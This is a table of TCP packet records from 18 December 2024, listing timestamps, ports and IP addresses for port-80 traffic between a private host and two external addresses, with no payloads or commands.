Dec 18, 2024 12:00:28.380279064 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.380281925 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.380315065 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.380319118 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.380352974 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.380356073 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.380388975 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.380430937 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.381198883 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.381234884 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.381237984 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.381269932 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.381272078 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.381305933 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.381313086 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.381341934 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.381376982 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.381380081 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.381412029 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.381413937 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.381445885 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.381449938 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.381681919 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.381907940 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.381949902 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.381961107 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.382033110 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.382059097 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.382066965 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.382077932 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.382102966 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.382139921 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.382143021 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.382175922 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.382177114 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.382210016 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.382215023 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.382256985 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.382983923 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.383025885 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.383037090 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.383071899 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.383105993 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.383114100 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.383141041 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.383146048 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.383177042 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.383178949 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.383212090 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.383214951 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.383248091 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.383248091 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.383285046 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.383708000 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.383742094 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.383755922 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.383778095 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.383780956 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.383938074 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.384064913 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.384102106 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.384103060 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.384140968 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.384164095 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.384198904 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.384232998 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.384237051 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.384267092 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.384269953 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.384303093 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.384304047 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.384337902 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.384340048 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.384375095 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.385010958 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.385051966 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.385066032 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.385101080 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.385103941 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.385135889 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.385138035 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.385174036 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.385209084 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.385212898 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.385243893 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.385260105 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.385278940 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.385317087 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.385955095 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.385988951 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.386012077 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.386023998 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.386058092 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.386059999 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.386096001 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.386099100 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.386132956 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.386135101 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.386168957 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.386171103 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.386528969 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.386862993 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.386898994 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.386912107 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.386933088 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.386939049 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.386969090 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.386970997 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.387003899 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.387006044 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.387038946 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.387042046 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.387074947 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.387077093 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.387109995 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.387109995 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.387146950 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.387671947 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.387725115 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.387736082 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.387770891 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.387775898 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.387805939 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.387808084 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.387841940 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.387842894 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.387876034 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.387881994 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.387912035 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.387917042 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.387948036 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.387953043 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.388020992 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.388746977 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.388782024 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.388804913 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.388817072 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.388843060 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.388850927 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.388859987 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.388886929 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.388920069 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.388946056 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.388946056 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.388955116 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.388966084 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.388989925 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.389002085 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.389039040 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.389441967 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.389478922 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.389499903 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.389513969 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.389523029 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.389554977 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.389875889 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.389910936 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.389961004 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.389965057 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.390000105 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.390006065 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.390036106 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.390041113 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.390073061 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.390077114 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.390109062 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.390117884 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.390144110 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.390142918 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.390180111 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.390185118 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.390276909 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.390829086 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.390865088 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.390887022 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.390899897 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.390902996 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.390935898 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.390940905 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.390970945 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.391004086 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.391019106 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.391037941 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.391056061 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.391072989 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.391083002 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.391112089 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.391730070 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.391765118 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.391788006 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.391799927 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.391804934 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.391835928 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.391838074 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.391882896 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.391885996 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.391917944 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.391922951 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.391952038 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.391957998 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.391989946 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.391993046 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.392369986 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.392584085 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.392637968 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.392672062 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.392682076 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.392705917 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.392707109 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.392740965 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.392765999 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.392776012 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.392812014 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.392833948 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.392858982 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.393443108 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.393479109 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.393512011 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.393524885 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.393548012 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.393553972 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.393584013 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.393593073 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.393620014 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.393655062 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.393667936 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.393690109 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.393718958 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.393747091 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.394382000 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.394417048 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.394438982 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.394453049 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.394464016 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.394490004 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.394494057 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.394525051 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.394535065 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.394561052 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.394594908 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.394602060 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.394629002 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.394633055 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.394671917 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.395124912 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.395181894 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.395203114 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.395237923 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.395287037 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.395509958 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.395551920 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.395601034 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.395617962 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.395634890 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.395644903 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.395652056 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.395668030 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.395668983 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.395680904 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.395689011 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.395695925 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.395705938 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.395711899 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.395731926 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.395742893 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.396495104 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.396512032 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.396528006 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.396543980 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.396548033 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.396559954 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.396574974 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.396575928 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.396586895 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.396593094 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.396610022 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.396612883 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.396641016 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.396662951 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.397305012 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.397321939 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.397337914 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.397356987 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.397375107 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.397387981 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.397404909 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.397423983 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.397427082 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.397443056 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.397454977 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.397458076 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.397469044 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.397483110 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.397496939 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.398277044 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.398293972 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.398308992 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.398319960 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.398325920 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.398332119 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.398343086 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.398348093 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.398360968 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.398365021 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.398377895 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.398380041 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.398401976 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.398415089 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.399136066 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.399152994 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.399192095 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.468594074 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.468656063 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.468699932 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.468699932 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.468902111 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.469017029 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.469034910 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.469077110 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.469722986 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.469773054 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.469821930 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.469868898 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.470411062 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.470465899 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.470680952 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.470729113 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.470777035 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.471028090 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.471476078 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.471524000 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.471582890 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.471620083 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.472202063 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.472244978 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.472417116 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.472512007 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.472944975 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.472999096 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.473063946 CET	80	49913	185.215.113.17	192.168.2.6
